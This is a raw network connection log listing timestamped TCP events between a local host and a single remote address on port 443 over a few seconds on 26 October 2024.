Oct 26, 2024 13:45:37.971558094 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.971595049 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:37.971700907 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.972090006 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:37.972105980 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.227556944 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.228379011 CEST	49893	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.228401899 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.228899002 CEST	49893	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.228904963 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.356690884 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.356838942 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.356925964 CEST	49893	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.357220888 CEST	49893	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.357245922 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.357259035 CEST	49893	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.357266903 CEST	443	49893	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.361001015 CEST	49898	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.361051083 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.361155033 CEST	49898	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.361349106 CEST	49898	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.361367941 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.464912891 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.465711117 CEST	49894	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.465738058 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.466691971 CEST	49894	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.466696978 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.515918016 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.516442060 CEST	49895	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.516483068 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.516942024 CEST	49895	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.516948938 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.598961115 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.599031925 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.599097967 CEST	49894	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.599432945 CEST	49894	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.599453926 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.599463940 CEST	49894	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.599469900 CEST	443	49894	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.603379011 CEST	49899	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.603426933 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.603554964 CEST	49899	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.603827953 CEST	49899	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.603842974 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.655375004 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.655546904 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.655642033 CEST	49895	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.655883074 CEST	49895	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.655909061 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.655922890 CEST	49895	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.655930042 CEST	443	49895	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.657068014 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.657582045 CEST	49896	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.657614946 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.658051968 CEST	49896	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.658061028 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.659599066 CEST	49900	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.659641981 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.659740925 CEST	49900	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.659931898 CEST	49900	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.659943104 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.699537039 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.700293064 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.700314999 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.700855970 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.700860977 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.786345005 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.786422968 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.786480904 CEST	49896	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.786794901 CEST	49896	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.786818981 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.786833048 CEST	49896	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.786839962 CEST	443	49896	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.790657997 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.790726900 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.790843964 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.791059971 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.791084051 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.828478098 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.828562975 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.828613043 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.828643084 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.828706026 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.829056025 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.829076052 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.829255104 CEST	49897	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.829260111 CEST	443	49897	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.832735062 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.832777023 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:38.832861900 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.833015919 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:38.833029985 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.097649097 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.098273039 CEST	49898	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.098309994 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.099292994 CEST	49898	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.099303961 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.225806952 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.225961924 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.226056099 CEST	49898	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.226300955 CEST	49898	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.226325989 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.226341009 CEST	49898	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.226349115 CEST	443	49898	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.229976892 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.230036020 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.230175972 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.230285883 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.230309010 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.566871881 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.567707062 CEST	49899	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.567723036 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.568207026 CEST	49899	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.568212032 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.571655989 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.572071075 CEST	49900	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.572083950 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.572613955 CEST	49900	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.572618961 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.697902918 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.698470116 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.698482037 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.698932886 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.698936939 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.701004982 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.701169968 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.701240063 CEST	49900	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.701304913 CEST	49900	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.701328993 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.701342106 CEST	49900	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.701349974 CEST	443	49900	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.702764988 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.703140020 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.703150034 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.703310966 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.703448057 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.703502893 CEST	49899	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.703536034 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.703541994 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.703640938 CEST	49899	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.703654051 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.703699112 CEST	49899	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.703705072 CEST	443	49899	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.704930067 CEST	49904	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.704952955 CEST	443	49904	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.705043077 CEST	49904	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.705210924 CEST	49904	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.705218077 CEST	443	49904	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.706108093 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.706156015 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.706231117 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.706378937 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.706397057 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.828583956 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.828639984 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.828696966 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.828712940 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.828815937 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.828866005 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.829003096 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.829018116 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.829026937 CEST	49901	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.829031944 CEST	443	49901	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.832901001 CEST	49906	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.832932949 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.833005905 CEST	49906	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.833204031 CEST	49906	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.833219051 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.834383965 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.834460974 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.834511042 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.834528923 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.834575891 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.834610939 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.834636927 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.834651947 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.834651947 CEST	49902	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.834662914 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.834671974 CEST	443	49902	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.836999893 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.837034941 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.837110996 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.837276936 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.837295055 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.989083052 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.989943981 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.989967108 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:39.990560055 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:39.990564108 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.267870903 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.267915964 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.267987967 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.268043995 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.268121004 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.268484116 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.268507957 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.268529892 CEST	49903	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.268537045 CEST	443	49903	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.271959066 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.271985054 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.272068024 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.272257090 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.272269011 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.457094908 CEST	443	49904	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.457851887 CEST	49904	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.457863092 CEST	443	49904	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.458333015 CEST	49904	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.458338976 CEST	443	49904	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.588300943 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.589616060 CEST	49906	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.589632988 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.589915991 CEST	49906	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.589920998 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.590552092 CEST	443	49904	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.590810061 CEST	443	49904	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.590919018 CEST	49904	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.590919018 CEST	49904	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.590950966 CEST	49904	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.590964079 CEST	443	49904	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.594191074 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.594230890 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.594379902 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.594530106 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.594543934 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.598563910 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.598984003 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.599004030 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.599380970 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.599386930 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.732311010 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.732352972 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.732428074 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.732455015 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.732553959 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.732754946 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.732754946 CEST	49907	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.732775927 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.732789993 CEST	443	49907	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.736572981 CEST	49910	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.736602068 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.736673117 CEST	49910	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.736835957 CEST	49910	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.736856937 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.885054111 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.885644913 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.885678053 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.886157036 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.886162996 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.887098074 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.887254000 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.887331009 CEST	49906	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.887414932 CEST	49906	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.887429953 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.887442112 CEST	49906	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.887448072 CEST	443	49906	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.890980005 CEST	49911	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.891031027 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:40.891180992 CEST	49911	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.891278028 CEST	49911	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:40.891287088 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.002239943 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.002739906 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.002764940 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.003474951 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.003479958 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.015197992 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.015719891 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.015769005 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.015775919 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.015821934 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.015883923 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.015902996 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.015914917 CEST	49905	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.015921116 CEST	443	49905	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.018867970 CEST	49912	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.018901110 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.018984079 CEST	49912	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.019174099 CEST	49912	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.019188881 CEST	443	49912	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.132474899 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.132509947 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.132564068 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.132644892 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.132719040 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.132956982 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.132973909 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.132988930 CEST	49908	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.132993937 CEST	443	49908	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.136532068 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.136590004 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.136681080 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.136871099 CEST	49913	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.136888027 CEST	443	49913	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.328435898 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.329097033 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.329113007 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.329624891 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.329629898 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.456481934 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.456520081 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.456577063 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.456609011 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.456660032 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.456893921 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.456916094 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.456928015 CEST	49909	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.456933975 CEST	443	49909	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.460565090 CEST	49914	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.460613012 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.460690975 CEST	49914	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.460875988 CEST	49914	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.460886955 CEST	443	49914	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.484127045 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.484703064 CEST	49910	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.484719992 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.485331059 CEST	49910	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.485337019 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.617528915 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.617605925 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.617659092 CEST	49910	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.617887974 CEST	49910	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.617908955 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.617923021 CEST	49910	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.617930889 CEST	443	49910	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.621464014 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.621491909 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.621561050 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.621747971 CEST	49915	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.621761084 CEST	443	49915	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.623542070 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.623909950 CEST	49911	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:41.623930931 CEST	443	49911	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:41.624397039 CEST	49911	443	192.168.2.4	13.107.246.51
